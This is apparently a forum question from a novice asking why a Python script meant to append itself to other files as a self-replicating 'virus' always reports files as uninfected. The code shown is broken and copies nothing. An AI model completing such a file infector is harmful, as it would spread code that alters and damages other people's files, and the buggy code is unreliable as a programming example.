I'm trying to make a program in python that edits the files in the current directory and adds the code at the end of the program. I haven't finished it, but I've put the marker for the virus in my other files and started the program in order to see if the marker is in the other code and it always returns false. Unsure as to why it does this.
import os
path = ("/python34")
def infected(__file__):
if("#@! infected by virus ;) !@#") in (__file__):
print("True.")
else:
print("False.")
def selectTarget():
os.getcwd()
os.listdir(path)
def copyCode(__file__):
open(__file__, 'r+')
victimfile=open(__file__)
selectTarget()
infected(__file__)
copyCode(__file__)